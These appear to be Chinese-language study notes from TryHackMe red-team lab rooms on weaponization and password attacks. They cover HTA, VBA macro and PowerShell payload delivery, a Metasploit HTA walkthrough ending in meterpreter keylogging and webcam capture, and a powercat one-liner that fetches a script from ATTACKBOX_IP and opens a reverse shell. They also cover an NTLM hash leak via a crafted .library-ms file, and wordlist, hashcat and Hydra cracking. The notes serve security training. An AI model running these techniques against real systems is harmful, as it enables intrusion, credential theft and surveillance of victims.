下图展示了一个武器化的示例,其中一个精心制作的 PDF 或 Microsoft Office 文档被用于投递恶意载荷。该自定义载荷配置为回连至红队基础设施的指挥与控制(C2)环境。
欲了解更多关于红队工具包的信息,请访问以下资源:该 GitHub 仓库包含了所有相关内容,包括初始访问、载荷开发、投递方法等。
大多数组织都会阻止或监控 .exe 文件在其受控环境中的执行。因此,红队成员通常依赖其他技术来执行载荷,例如 Windows 内置的脚本技术。因此,本任务将重点介绍几种流行且有效的脚本技术,包括:
- Windows Scripting Host(WSH)
- HTML 应用程序(HTA)
- Visual Basic 应用程序(VBA)
- PowerShell(PSH)
Windows Scripting Host (WSH)
Windows Scripting Host 是 Windows 内置的管理工具,用于运行批处理脚本,以自动化和管理操作系统内的任务。
它是 Windows 原生的脚本引擎,主要包括 cscript.exe(用于命令行脚本)和 wscript.exe(用于 UI 脚本),负责执行各种 Microsoft Visual Basic 脚本(VBScript),包括 .vbs 和 .vbe 文件。关于 VBScript 的更多信息,请访问相关资源。
需要注意的是,Windows 操作系统中的 VBScript 引擎运行时会继承当前用户的访问权限,因此它对红队人员非常有用。
现在,我们编写一个简单的 VBScript 代码,用于创建一个 Windows 消息框,显示“Welcome to THM”消息。请将以下代码保存为 hello.vbs 文件:
Dim message |
在第一行,我们使用 Dim 关键字声明变量 message。然后,将字符串 “Welcome to THM” 存储到 message 变量中。接下来,我们使用 MsgBox 函数显示变量的内容。关于 MsgBox 函数的详细信息,请访问相关资源。
最后,我们使用 wscript(也可以使用cscript) 运行 hello.vbs 文件,执行后会弹出一个 Windows 消息框,显示“Welcome to THM”消息。
另一个技巧。如果 VBS 文件被列入黑名单,那么我们可以将文件重命名为 .txt 文件,然后使用 wscript 运行它,如下所示,
Terminal
HTML 应用程序(HTA)
HTA 代表 “HTML Application”(HTML 应用程序),它允许创建一个可下载的文件,其中包含所有显示和渲染所需的信息。HTML 应用程序(HTA)实际上是包含 JScript 和 VBScript 的动态 HTML 页面。
Windows 内置的 LOLBINS(Living-off-the-Land Binaries) 工具 mshta 可用于执行 HTA 文件。HTA 文件既可以独立运行,也可以通过 Internet Explorer 自动执行。
在以下示例中,我们将在载荷中使用 ActiveXObject 作为概念验证(PoC),以执行 cmd.exe。请参考以下 HTML 代码:
<html> |
然后,将 payload.hta 托管在 Web 服务器上,可以通过攻击机执行以下命令:
user@machine$ python3 -m http.server 8090 |
下载即会自动执行
HTA 反向连接
操作同上只不过是要把文件改为我们的反向shell文件
通过 Metasploit 发起的恶意 HTA
这是一种利用 Metasploit 生成和托管 恶意 HTA(HTML Application)文件 进行攻击的方法。以下是完整的流程,包括如何生成、托管 HTA 文件并获取反向 shell 连接:
1. 运行 Metasploit
在 Kali 终端输入:
bash |
2. 使用 hta_server
模块
在 Metasploit 控制台中,输入以下命令:
use exploit/windows/misc/hta_server |
成功运行后,Metasploit 会生成一个恶意 HTA 文件,并提供一个 URL,例如:
[*] Using URL: http://10.8.232.37:8080/TkWV9zkd.hta |
此时,攻击者的 Kali 机器正在监听 端口 443,并等待受害者访问该 HTA 文件。
3. 受害者执行 HTA 文件
当受害者访问 http://10.8.232.37:8080/TkWV9zkd.hta
时,HTA 文件会执行,并尝试连接回攻击者的 Kali 机器。
在 Kali 终端,你会看到:
[*] 10.10.201.254 hta_server - Delivering Payload |
4. 进入 Meterpreter 会话
一旦 Meterpreter 连接成功,可以输入以下命令交互:
sessions -i 1 # 进入会话 |
然后使用 sysinfo
查看受害者的系统信息:
meterpreter > sysinfo |
可以进一步获取 Windows Shell:
meterpreter > shell |
终端输出:
Process 4124 created. |
此时,你已经获得了 Windows 受害者系统的命令行访问权限。
5. 进一步操作
获取权限(提权):
meterpreter > getsystem
列出当前用户:
meterpreter > getuid
打开摄像头:
meterpreter > webcam_list
meterpreter > webcam_snap键盘记录(键盘记录器):
meterpreter > keyscan_start
meterpreter > keyscan_dump下载文件:
meterpreter > download C:\Users\admin\Desktop\passwords.txt /root/passwords.txt
Visual Basic 应用程序 - VBA
打开
VBA(Visual Basic for Applications)是微软开发的一种编程语言,主要用于 Microsoft Word、Excel、PowerPoint 等微软应用程序。VBA 编程允许自动化几乎所有用户在 Microsoft Office 应用程序中的键盘和鼠标交互操作。
宏(Macros)是指在 Microsoft Office 应用程序中嵌入了 VBA 代码的功能模块。它们可以用于创建自定义函数,通过自动化流程来加快手动任务的执行速度。VBA 的一项重要功能是能够访问 Windows 应用程序编程接口(API)以及其他底层功能。关于 VBA 的更多信息,请访问相关资料。
在本任务中,我们将讨论 VBA 的基础知识,以及攻击者如何利用宏来创建恶意的 Microsoft 文档。要跟进本任务的内容,请确保在任务 2 中部署附带的 Windows 机器。准备就绪后,该机器将通过浏览器访问。
现在,请从“开始”菜单打开 Microsoft Word 2016。打开后点击
点击创建
输入实验代码然后点击f5运行即可
然后后我们可以利用AutoOpen和Document_open是文档打开及立即执行
我们直接
Sub Document_Open() |
接下来我们就可以使用Metasploit框架创建一个内存meterpreter载荷,以实现攻击机接收反向shell。
需要将生成的载荷的内容中的Workbook_Open()
函数更改为Document_Open()
函数,从而使其适合在MS word文档中运行。
PowerShell(PSH)
PowerShell 是一种面向对象的编程语言,在 .NET 框架的动态语言运行时(DLR)上执行,但对于某些旧版用途存在例外。更多关于 PowerShell 的信息,请查看 TryHackMe 的 Hacking with PowerShell 课程。
红队人员依赖 PowerShell 执行各种任务,包括初始访问、系统枚举等。让我们先创建一个简单的 PowerShell 脚本,打印 “Welcome to the Weaponization Room!”,代码如下:
Write-Output "Welcome to the Weaponization Room!" |
将文件保存为 thm.ps1。该脚本使用 Write-Output
命令在命令提示符中打印 “Welcome to the Weaponization Room!”。现在让我们运行它并查看结果。
运行 PowerShell 脚本
在 CMD 中执行以下命令:
C:\Users\thm\Desktop>powershell -File thm.ps1 |
但可能会遇到以下错误:
File C:\Users\thm\Desktop\thm.ps1 cannot be loaded because running scripts is disabled on this system. For more |
执行策略(Execution Policy)
PowerShell 的执行策略是一种安全选项,用于防止系统运行恶意脚本。出于安全考虑,Microsoft 默认禁用了 PowerShell 脚本(.ps1)的执行。默认执行策略为 Restricted,这意味着可以运行单个命令,但不允许运行任何脚本。
可以使用以下命令查看当前执行策略:
C:\Users\thm> Get-ExecutionPolicy |
如果需要更改执行策略,可以运行以下命令:
C:\Users\thm\Desktop> Set-ExecutionPolicy -Scope CurrentUser RemoteSigned |
执行后,PowerShell 将提示用户确认更改:
Execution Policy Change |
输入 A
(Yes to All)以应用更改。
绕过执行策略(Bypass Execution Policy)
Microsoft 允许用户通过参数修改执行策略,以便运行 PowerShell 脚本。例如,我们可以使用 bypass 策略,完全解除执行限制:
C:\Users\thm\Desktop>powershell -ex bypass -File thm.ps1 |
执行后,屏幕将输出:
Welcome to Weaponization Room! |
现在,我们尝试使用 PowerShell 编写的工具 powercat 获取反向 Shell。
1. 在攻击机上下载 Powercat
git clone https://github.com/besimorhino/powercat.git |
2. 启动 Web 服务器托管 Powercat
切换到 powercat 目录并启动 Web 服务器(监听 8080 端口):
cd powercat |
3.监听端口接收反向 Shell
在攻击机上使用 nc
监听 1337 端口,以接收来自目标机器的连接:
nc -lvp 1337 |
4. 在目标机器上执行 PowerShell 载荷
在受害者机器上,使用以下命令下载并执行 Powercat 脚本:
C:\Users\thm\Desktop> powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKBOX_IP:8080/powercat.ps1');powercat -c ATTACKBOX_IP -p 1337 -e cmd" |
执行上述命令后,受害者机器将从攻击机的 Web 服务器(监听 8080 端口)下载 powercat.ps1
载荷,并在本地执行它,最终通过 cmd.exe
发送反向连接至攻击机的 1337 端口。
5. 在攻击机上接收反向 Shell
在攻击机上监听 1337
端口后,几秒钟内即可收到受害者的回连:
nc -lvp 1337 |
此时,攻击机成功获得了目标机器的 Shell 访问权限。
CS2
什么是命令与控制(C2)?
C2 框架是后渗透框架,允许红队成员协作并控制已被攻陷的机器。C2 被认为是红队在进攻性网络行动中最重要的工具之一。C2 框架提供了快速且简便的方法来:
- 生成各种恶意载荷
- 枚举已攻陷的机器/网络
- 执行权限提升和跳跃
- 横向移动
- 以及其他许多操作
我们将简要介绍一些流行的 C2 框架,包括 Cobalt Strike、PowerShell Empire 和 Metasploit。这些框架大多数旨在为红队操作提供一个方便的环境,帮助团队在获得系统初步访问权限后进行共享和沟通。
Cobalt Strike
Cobalt Strike 是一个商业化框架,专注于对抗模拟和红队操作。它结合了远程访问工具、后渗透能力和独特的报告系统。它为代理提供了高级技术,用于建立隐蔽通信并执行各种操作,包括键盘记录、文件上传与下载、VPN 部署、权限提升技术、mimikatz、端口扫描以及最先进的横向移动。
PowerShell Empire
PowerShell Empire 是一个开源框架,帮助红队操作员和渗透测试人员在多台服务器之间使用密钥和共享密码进行协作。它是一个基于 PowerShell 和 Python 代理的渗透框架,专注于 Windows 和 Active Directory 环境的客户端和后渗透操作。如果您想了解更多有关 PowerShell Empire 的信息,建议尝试这个课程:Empire。
Metasploit
Metasploit 是一个广泛使用的渗透框架,提供了各种技术和工具,便于轻松执行黑客攻击。它是一个开源框架,被认为是渗透测试和红队操作的主要工具之一。Metasploit 是我们在此课程中使用的工具之一,用于在武器化阶段生成载荷。如果您想了解更多关于 Metasploit 框架的信息,建议查看 Metasploit 模块。
大多数 C2 框架使用本课程中提到的技术作为初步访问阶段的准备工作。如需详细了解 C2 框架,欢迎查阅 Intro to C2 课程。
cs在
密码攻击
介绍
我们将讨论获取和生成自定义密码列表的方法。以下是我们将探讨的一些主题:
- 密码分析(Password profiling)
- 密码攻击技术(Password attacks techniques)
- 在线密码攻击(Online password attacks)
什么是密码?
密码是一种身份验证方法,允许个人访问计算机系统或应用程序。使用密码可以确保只有账户所有者才能访问系统。然而,如果密码被共享或落入不法分子手中,未经授权的更改可能会发生,甚至可能导致系统状态受损或文件系统被破坏。
密码通常由字母、数字和符号的组合构成,用户可以自行决定如何创建密码。密码的集合通常被称为**字典(dictionary)**或**密码列表(wordlist)**。低复杂度、易猜测的密码经常出现在各种公开披露的密码泄露数据中。例如,常见的弱密码包括 password、123456、111111 等。
由于许多用户使用简单密码,攻击者在对目标或服务进行密码攻击时,往往可以快速破解密码。因此,选择一个强密码是最佳实践,使其难以被猜测或破解。强密码不应是常见单词或字典中的词汇,并且应至少包含 8 个字符,包括大小写字母、数字和符号(例如:*&^%$#@)。
有时,公司会制定自己的密码策略,并强制用户在创建密码时遵循相关指南。这有助于确保用户不会在组织内部使用常见或弱密码,从而减少暴力破解等攻击向量。例如,密码可能需要至少 8 个字符,包含字母、数字以及至少一个特殊符号。然而,如果攻击者掌握了密码策略,就可以根据该策略生成一个满足要求的密码列表,从而提高破解成功的可能性。
密码的安全性如何?
密码是访问在线账户或计算机系统的一种保护方法,其主要目标是确保安全性,并防止密码被共享或泄露。
那么,密码到底有多安全?答案取决于多个因素。通常,密码存储在文件系统或数据库中,保护密码的安全至关重要。过去曾出现一些公司将密码以明文存储在文档中的情况,例如 2014 年 Sony 数据泄露事件。在这种情况下,一旦攻击者获得文件系统访问权限,就可以轻松获取并重用这些密码。
另一方面,某些系统会使用哈希函数或加密算法来存储密码,从而提高安全性。即使攻击者获得了系统访问权限,也需要额外的破解工作才能获取密码。我们将在后续任务中介绍哈希破解相关内容。
密码攻击技术
在本节中,我们将讨论可用于执行密码攻击的各种技术,包括:
- 字典攻击(Dictionary Attack)
- 暴力破解(Brute-Force Attack)
- 基于规则的攻击(Rule-Based Attack)
- 猜测攻击(Guessing Attack)
上述所有攻击方式都被认为是主动“在线”攻击,攻击者需要与目标系统进行通信,以获取密码并实现未授权访问。
密码破解 vs. 密码猜测
本节将从网络安全的角度讨论**密码破解(Password Cracking)**的相关术语,并介绍密码破解与密码猜测的主要区别。此外,我们还将演示一些用于密码破解的工具,例如 Hashcat 和 John the Ripper。
**密码破解(Password Cracking)**是一种通过分析加密或哈希数据来发现明文密码的技术。攻击者可能从被入侵的计算机中获取加密或哈希密码,或者通过监听网络流量获取密码数据。一旦获取了哈希密码,攻击者就可以利用各种工具对其进行破解,以恢复原始密码。
密码破解被认为是渗透测试(Penetration Testing)中一种传统的技术,其主要目标是让攻击者提升权限,以访问计算机系统或网络。
尽管**密码猜测(Password Guessing)和密码破解(Password Cracking)**在信息安全领域常被提及,但两者存在显著差异:
密码猜测(Password Guessing) | 密码破解(Password Cracking) |
---|---|
主要针对在线协议和服务 | 主要在本地或受控系统上执行 |
由于需要与目标系统通信,通常较慢 | 速度较快,受计算能力影响 |
每次尝试都会产生登录失败日志,易被检测 | 通常不会触发目标系统的警报 |
可能会导致账户被锁定(如配置安全机制) | 不会影响目标账户状态 |
在Web 应用或其他在线系统上进行密码猜测攻击通常需要发送独立的请求,每次尝试都会生成新的日志记录。因此,密码猜测攻击通常容易被检测,并且在安全性较高的系统上,可能会导致账户被锁定。
相较之下,密码破解通常是在攻击者本地执行,不会直接与目标系统交互,因此更难被检测,但破解速度取决于计算能力和哈希算法的复杂性。
密码分析1
拥有一个优质的密码字典对于成功实施密码攻击至关重要。了解如何生成用户名列表和密码列表同样重要。在本节中,我们将讨论如何创建针对特定目标的用户名和密码列表,并涵盖多个相关主题,包括默认密码、弱密码、泄露密码以及定制密码字典的创建方法。
默认密码
在执行密码攻击之前,值得尝试一些默认密码来测试目标服务。许多设备和系统(如交换机、防火墙、路由器等)在出厂时都会设置默认密码。在某些情况下,用户未更改默认密码,这使得系统容易受到攻击。因此,可以先尝试常见的默认组合,例如 admin:admin
、admin:123456
等。如果已知目标设备的类型,还可以查询其默认密码并进行尝试。例如,若目标服务器是 Tomcat(一款轻量级开源 Java 应用服务器),则可能的默认密码包括 admin:admin
或 tomcat:admin
。
以下是一些提供各种设备默认密码的网站列表:
- https://cirt.net/passwords
- https://default-password.info/
- https://datarecovery.com/rd/default-passwords/
弱密码
专业人士在长期的渗透测试和攻击分析中积累了大量的弱密码,并经常将其整合成一个大型字典。这些字典通常来源于经验总结,也可能包含已经公开的泄露密码。以下是一些常见的弱密码列表:
- Skull Security Passwords - 包含最知名的密码合集。
- SecLists - 一个庞大的密码字典集合,不仅限于密码破解用途。
泄露密码
由于数据泄露,密码或哈希值等敏感信息可能会被公开或出售。这些可公开或私下流传的数据通常被称为“数据转储”(dumps)。根据数据转储的内容,攻击者可能需要从中提取明文密码。在某些情况下,数据仅包含密码哈希值,需要进行破解才能获取明文密码。以下是一些包含弱密码和泄露密码的常见字典,例如 webhost、elitehacker、hak5、Hotmail、PhpBB 等公司的泄露数据:
组合密码字典
假设我们有多个密码字典,我们可以将它们合并成一个大型文件。可以使用 cat
命令进行合并:
cat file1.txt file2.txt file3.txt > combined_list.txt |
为了清理合并后的密码列表并去除重复项,可以使用 sort
和 uniq
命令:
sort combined_list.txt | uniq -u > cleaned_combined_list.txt |
定制密码字典
定制密码列表是提高找到有效凭据概率的最佳方法之一。我们可以从目标网站提取有价值的信息来创建自定义密码列表。例如,企业网站通常包含与公司及其员工相关的信息,包括电子邮件地址、员工姓名等。此外,网站可能包含与企业业务相关的关键词(如产品或服务名称),而这些关键词往往可能被用于员工的密码中。
工具 Cewl 可用于高效爬取网站并提取字符串或关键词。Cewl 是一个强大的工具,可用于针对特定公司或目标生成密码字典。例如:
cewl -w list.txt -d 5 -m 5 http://thm.labs |
参数解析:
-w
:将爬取的内容写入文件,在此示例中为list.txt
-m 5
:仅获取长度 ≥5 个字符的单词-d 5
:设定爬取深度为 5(默认 2)http://thm.labs
:目标网站 URL
执行后,我们将获得一个包含该企业相关词汇(如员工姓名、地名、业务术语等)的较大规模密码字典。此外,生成的字典也可用于用户名枚举攻击。
请使用 Cewl 针对 https://clinic.thmredteam.com/
解析所有单词,并生成一个 最小长度为 8 的密码字典。请注意,我们将在后续任务中使用此密码列表!
用户名字典
在信息收集阶段,收集目标企业员工的姓名至关重要。我们可以从目标网站提取员工姓名,并根据不同的用户名格式生成用户名列表。例如,假设已知某员工的全名 {first name} {last name}
(如 John Smith),我们可以生成多个可能的用户名格式:
{first name}: john |
幸运的是,我们可以使用 username_generator
工具自动生成上述用户名格式。
使用 username_generator
生成用户名列表
首先,克隆 username_generator
仓库:
git clone https://github.com/therodri2/username_generator.git |
然后,进入 username_generator
目录:
cd username_generator |
运行以下命令查看工具帮助信息:
python3 username_generator.py -h |
示例输出:
usage: username_generator.py [-h] -w wordlist [-u] |
生成自定义用户名列表
我们将 John Smith
保存到 users.lst
文件,并使用 username_generator
生成用户名组合:
echo "John Smith" > users.lst |
示例输出:
john |
这只是一个自定义用户名生成器的示例,您可以探索更多工具,或者使用自己熟悉的编程语言编写类似的工具!
CVE-2025-24071:通过 RAR/ZIP 提取和 .library-ms 文件发生 NTLM 哈希泄漏
当一个 特制的 .library-ms
文件(其中包含 SMB 路径)被压缩进 RAR/ZIP 归档 并随后解压时,Windows 资源管理器 会 自动解析 该文件的内容。这种行为源于 Windows 资源管理器的 内置索引和预览机制,即使用户 未手动打开或点击 该文件,系统仍会主动处理其中的内容,以 生成预览、缩略图或索引元数据。
.library-ms 文件的作用
.library-ms
文件是一种 基于 XML 的格式,Windows 资源管理器将其 信任 用于定义 搜索路径和库位置。在解压过程中,Windows 的 索引服务 以及资源管理器的 内置文件解析机制 会立即解析 .library-ms
文件的内容,以 渲染适当的图标、缩略图或元数据信息。
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"> |
在提取时,Windows 资源管理器会尝试自动解析此 SMB 路径(\192.168.1.116\shared)以收集元数据并索引文件信息。此操作触发了从受害者系统到攻击者控制的 SMB 服务器的隐式 NTLM 身份验证握手。因此,受害者的 NTLMv2 哈希值会在没有显式用户交互的情况下发送出去。
该漏洞的出现是因为 Windows 资源管理器隐式信任 .library-ms 文件,并在文件从归档中提取后立即自动处理某些文件类型。攻击者利用这种隐式信任和自动文件处理行为泄露凭据,这些凭据随后可以用于传递哈希攻击或离线破解 NTLM 哈希。
自动文件处理观察 使用 Procmon,我们可以清晰地观察到,在提取 .library-ms 文件后,Explorer.exe 和搜索协议主机(SearchProtocolHost.exe)等索引服务会自动执行以下操作:
CreateFile:文件被资源管理器自动打开。 ReadFile:读取文件内容以提取元数据。 QueryBasicInformationFile:执行元数据查询。 CloseFile:处理完文件后关闭文件。 此外,SearchProtocolHost.exe 作为 Windows 文件索引服务的一部分被调用。在 Explorer.exe 完成初步处理后,索引服务会重新打开并读取文件以将其内容编入索引。这进一步确认了文件提取后自动处理的行为:
CreateFile, ReadFile, QueryBasicInformationFile, CloseFile:由 SearchProtocolHost.exe 执行,将文件内容添加到搜索索引中。 这些操作充分证明了 Windows 在提取文件后立即自动处理文件,而无需任何显式的用户交互。Explorer.exe 和 SearchProtocolHost.exe 会自动读取并处理 .library-ms 文件的 XML 内容,启动连接到嵌入其中的 SMB 路径的尝试。
监听网卡
运行poc.py填入文件名和攻击机的ip
然后解压生成的压缩包
即拿到了用户名和hash
密码分析2
Keyspace Technique键空间技术
Crunch 可根据您指定的条件创建密码字典。
生成的输出可以显示在屏幕上、保存到文件中,或传输到另一个程序。
用法:
crunch [最小长度] [最大长度] [其他选项] |
请参考 man
页面以获取 crunch 的使用说明和示例。
下面的示例创建了一个包含所有可能 2 个字符组合的字典,字符范围包括 0-4
和 a-d
。我们可以使用 -o
参数指定输出文件:
user@thm$ crunch 2 2 01234abcd -o crunch.txt |
Crunch 现在将生成以下数据量:
243 字节 |
Crunch 生成的行数:xx
crunch: 100% 完成输出生成
部分示例输出如下:
user@thm$ cat crunch.txt |
值得注意的是,crunch 生成的字典大小取决于密码的长度和字符组合选项。例如,以下命令创建了一个包含 8 个字符的字典,字符范围包括 0-9、a-f(小写) 和 A-F(大写):
crunch 8 8 0123456789abcdefABCDEF -o crunch.txt |
生成的文件大小为 459GB,包含 54,875,873,536 个单词。
Crunch 还允许使用 -t
选项指定字符集,生成符合特定格式的密码。例如,以下是一些可用的占位符:
@
- 小写字母,
- 大写字母%
- 数字^
- 特殊字符(包括空格)
假设我们已知部分密码,并且密码以 “pass” 开头,后面跟着两个数字,我们可以使用 %
占位符匹配数字,生成符合该模式的字典:
user@thm$ crunch 6 6 -t pass%% |
生成的数据量:
700 字节 |
crunch 生成的行数:100
pass00 |
CUPP - 常见用户密码生成器
CUPP(Common User Passwords Profiler) 是一个基于 Python 的自动化交互工具,可用于创建自定义密码字典。如果已知目标的部分信息(如生日、宠物名、公司名称等),CUPP 可以利用这些信息生成可能的密码。此外,CUPP 还支持 1337/leet 模式,可将字母替换为类似的数字,例如:
- a → 4
- i → 1
- o → 0
- s → 5
更多信息可参考其 GitHub 仓库。
运行 CUPP
运行 CUPP 需要安装 Python 3。首先,使用 git
克隆 GitHub 仓库:
user@thm$ git clone https://github.com/Mebus/cupp.git |
克隆输出:
Cloning into 'cupp'... |
然后,进入 CUPP 目录并运行 cupp.py
:
user@thm$ python3 cupp.py |
CUPP 启动画面:
___________ |
CUPP 提供了以下选项:
usage: cupp.py [-h] [-i | -w FILENAME | -l | -a | -v] [-q] |
交互模式示例:
user@thm$ python3 cupp.py -i |
CUPP 会要求输入关于目标的信息:
[+] 输入有关受害者的信息以创建密码字典 |
最终,CUPP 会生成一个基于输入信息的自定义密码字典。
下载预置密码字典
可以使用 -l
选项下载预置的密码字典:
user@thm$ python3 cupp.py -l |
CUPP 提供多种类别:
1 Moby 14 french 27 places |
密码字典来源:
http://ftp.funet.fi/pub/unix/security/passwd/crack/dictionaries/ |
Alecto 默认用户名和密码数据库
CUPP 还可从 Alecto 数据库获取默认的用户名和密码:
user@thm$ python3 cupp.py -a |
输出:
[+] 下载 alectodb.csv.gz... |
总结:
- crunch 用于生成基于特定规则的密码字典。
- CUPP 适用于根据已知信息创建自定义密码字典,并支持下载现有密码字典。
离线攻击1
字典攻击
字典攻击是一种通过使用已知单词或短语来猜测密码的技术。字典攻击完全依赖于事先收集或生成的单词列表。为了成功进行此类攻击,选择或创建最佳的候选词列表至关重要。
让我们利用前面学习的生成单词列表的知识,来演示如何执行字典攻击。这里我们将使用 Hashcat 进行一次离线字典攻击,这是一款常用的哈希破解工具。
假设我们获得了以下哈希值:
f806fc5a2a0d5ba2471600758452799c |
我们想要使用字典攻击来破解它。首先,我们至少需要了解以下信息:
- 该哈希值的类型是什么?
- 我们要使用哪个单词列表?或者可以采用哪种攻击模式?
为了识别哈希类型,我们可以使用 hashid
或 hash-identifier
等工具。例如,在本例中,hash-identifier
认为该哈希可能是 MD5。
需要注意的是,破解哈希所需的时间取决于所使用的硬件(CPU 和/或 GPU)。
执行字典攻击
user@machine$ hashcat -a 0 -m 0 f806fc5a2a0d5ba2471600758452799c /usr/share/wordlists/rockyou.txt |
运行结果:
hashcat (v6.1.1) starting... |
参数解析:
-a 0
设置攻击模式为字典攻击。-m 0
设置哈希类型为 MD5(要查看其他哈希类型,可运行hashcat -h
)。f806fc5a2a0d5ba2471600758452799c
目标哈希值,可以是单个哈希,也可以是包含多个哈希的文件。/usr/share/wordlists/rockyou.txt
作为攻击的字典文件。
查看破解结果
如果哈希已经破解,我们可以使用 --show
选项查看已破解的值:
user@machine$ hashcat -a 0 -m 0 f806fc5a2a0d5ba2471600758452799c /usr/share/wordlists/rockyou.txt --show |
输出结果:
f806fc5a2a0d5ba2471600758452799c:rockyou |
最终破解出的密码是 rockyou
。
暴力破解攻击
暴力破解攻击是一种常见的攻击方式,攻击者尝试使用所有可能的密码组合,以获取对个人账户的未授权访问。
字典攻击和暴力破解攻击的主要区别在于:
- 字典攻击 使用包含所有可能密码的单词列表。
- 暴力破解攻击 则尝试所有可能的字符组合。例如:
- 如果某个银行账户的 PIN 码由 4 位数字 组成,我们可以从
0000
到9999
进行尝试。 - 在其他情况下,也可以将数字或字母序列附加到已有的单词上,例如:
admin0
、admin1
、…、admin9999
。
- 如果某个银行账户的 PIN 码由 4 位数字 组成,我们可以从
在 Hashcat 中,我们可以使用 字符集选项 来生成特定的密码组合。
查看 Hashcat 可用的字符集
user@machine$ hashcat --help |
部分可用字符集:
? | 字符集 |
使用暴力破解攻击模式
假设我们需要生成 4 位数 的 PIN 码组合,我们可以使用以下命令:
user@machine$ hashcat -a 3 ?d?d?d?d --stdout |
输出示例:
1234 |
参数解析:
-a 3
设置攻击模式为 暴力破解攻击。?d?d?d?d
指定密码格式为 4 位数字(0000 到 9999)。--stdout
将结果直接打印到终端,而不是执行实际的哈希破解。
破解 MD5 哈希的 4 位 PIN
假设我们需要破解以下 MD5 哈希值,它的密码是一个 4 位数 PIN 码:
05A5CF06982BA7892ED2A6D38FE832D6 |
我们可以运行以下命令:
user@machine$ hashcat -a 3 -m 0 05A5CF06982BA7892ED2A6D38FE832D6 ?d?d?d?d |
运行结果:
Session..........: hashcat |
最终破解出的密码是 2021。
总结
- 字典攻击 依赖于预先准备好的单词列表,适用于常见或弱密码的破解。
- 暴力破解攻击 尝试所有可能的字符组合,适用于短而复杂的密码(如 PIN 码)。
- Hashcat 提供了强大的功能,支持多种哈希类型和攻击模式。
在实际环境中,安全实践应避免使用 弱密码,并结合 多因素认证(MFA) 以提高安全性。
离线攻击2
规则攻击(Rule-Based Attacks)
规则攻击(Rule-Based Attacks)也被称为混合攻击(Hybrid Attacks)。规则攻击假设攻击者对密码策略有所了解,并通过应用规则来生成符合密码策略的密码。理论上,这种方法应该只会生成符合要求的有效密码。
使用现有的**密码字典(wordlists)**可以帮助我们生成符合密码策略的密码,例如对**password**进行变形(mangling):
p@ssword
Pa$$word
Passw0rd
等等。
在这类攻击中,我们可以使用Hashcat或John the Ripper来扩展我们的密码字典。但在本次实验中,我们主要使用John the Ripper。
通常,John the Ripper 的配置文件中包含规则集(rule sets),文件路径可能位于:
/etc/john/john.conf
/opt/john/john.conf
具体位置取决于你的 Linux 发行版或 John the Ripper 的安装方式。
我们可以查看 john.conf
文件,找到可用的规则列表(List.Rules):
user@machine$ cat /etc/john/john.conf | grep "List.Rules:" | cut -d"." -f3 | cut -d":" -f2 | cut -d"]" -f1 | awk NF |
示例输出:
JumboSingle |
可以看到,John the Ripper 提供了许多可用的规则。接下来,我们将创建一个仅包含 tryhackme
的密码字典,并使用best64 规则来扩展这个字典。
使用 best64
规则扩展密码字典
user@machine$ john --wordlist=/tmp/single-password-list.txt --rules=best64 --stdout | wc -l |
示例输出:
Using default input encoding: UTF-8 |
命令解析:
--wordlist=
指定密码字典文件--rules=
选择使用的规则--stdout
将生成的密码直接输出到终端| wc -l
计算生成的密码数量
运行此命令后,我们的密码列表从1个扩展到了76个。
使用 KoreLogic
规则扩展密码
KoreLogic
规则集包含了多种内置和自定义规则,可以生成更复杂的密码。
我们使用 KoreLogic
规则,并检查 Tryh@ckm3
是否包含在生成的密码列表中。
user@machine$ john --wordlist=single-password-list.txt --rules=KoreLogic --stdout | grep "Tryh@ckm3" |
示例输出:
Using default input encoding: UTF-8 |
我们可以看到,Tryh@ckm3
已成功生成。这说明 KoreLogic
规则能够创建更复杂的密码。
自定义规则(Custom Rules)
John the Ripper 允许我们自定义规则,可以在破解哈希时动态使用,或用于生成自定义密码字典。
示例:自定义规则
假设我们希望对现有的密码字典进行修改,使得每个密码:
- 在前面添加特殊字符(
!@#$*&
) - 在后面添加0-9 的数字
密码格式示例:
[symbols]word[0-9] |
我们可以在 john.conf
文件末尾添加自定义规则:
user@machine$ sudo vi /etc/john/john.conf |
在文件中添加以下内容:
[List.Rules:THM-Password-Attacks] |
规则解析:
[List.Rules:THM-Password-Attacks]
定义新规则的名称THM-Password-Attacks
Az
代表从字典中提取单词"[0-9]"
在密码后追加一个数字(0-9)^[!@#$]
在密码前添加一个特殊字符(!@#$)^
代表在开头插入字符- 如果改成
$
,则会在结尾插入字符
测试自定义规则
首先,创建一个包含单词 password
的测试字典:
user@machine$ echo "password" > /tmp/single.lst |
使用 THM-Password-Attacks
规则扩展密码:
user@machine$ john --wordlist=/tmp/single.lst --rules=THM-Password-Attacks --stdout |
示例输出:
Using default input encoding: UTF-8 |
总结
- 规则攻击(Rule-Based Attacks)利用已知的密码策略进行变形,生成符合策略的密码。
- John the Ripper 提供了多种内置规则(如
best64
、KoreLogic
),可用于扩展密码字典。 - 自定义规则可在
john.conf
配置文件中定义,以更精确地控制密码的生成方式。 - 通过
--stdout
选项,可以直接查看规则生成的密码列表,便于测试和优化策略。
现在,你可以尝试创建自己的自定义规则,进一步优化你的密码字典!
在线密码攻击
在线密码攻击是指针对使用用户名和密码身份验证方案的网络服务进行密码猜测攻击,其中包括 HTTP、SSH、VNC、FTP、SNMP、POP3 等服务。本节将介绍使用 Hydra 这一常见工具对各种网络服务的登录系统进行攻击。
Hydra
Hydra 支持对多种网络服务进行攻击。在本节中,我们将使用 Hydra 对网络服务(如 Web 登录页面、FTP、SMTP 和 SSH)进行暴力破解。在 Hydra 中,每种服务都有其特定的选项,因此熟悉其语法需要一定的学习成本。建议在使用时查阅帮助选项,以了解更多信息和功能。
FTP
在以下场景中,我们将对 FTP 服务器进行暴力破解。通过查看 Hydra 的帮助选项,我们可以得知攻击 FTP 服务器的命令语法如下:
user@machine$ hydra -l ftp -P passlist.txt ftp://10.10.x.x |
参数解析:
-l ftp
指定单个用户名,使用-L
选项可以指定包含多个用户名的字典文件。-P
指定密码字典文件的完整路径,若要指定单个密码,则使用-p
选项。ftp://10.10.x.x
指定协议及目标的 IP 地址或完整域名(FQDN)。
请记住,在尝试暴力破解之前,可以先尝试默认凭据。有时无需暴力破解就能成功访问目标。请尝试攻击附带的虚拟机上的 FTP 服务器,并回答问题。
SMTP
与 FTP 服务器类似,我们也可以使用 Hydra 对 SMTP 服务器进行暴力破解,语法与前述示例类似,唯一不同的是目标协议。请注意,如果要尝试使用其他在线密码攻击工具,可能需要手动指定端口号,例如 SMTP 的默认端口号为 25
。建议先查阅工具的帮助选项。
bash |
示例输出:
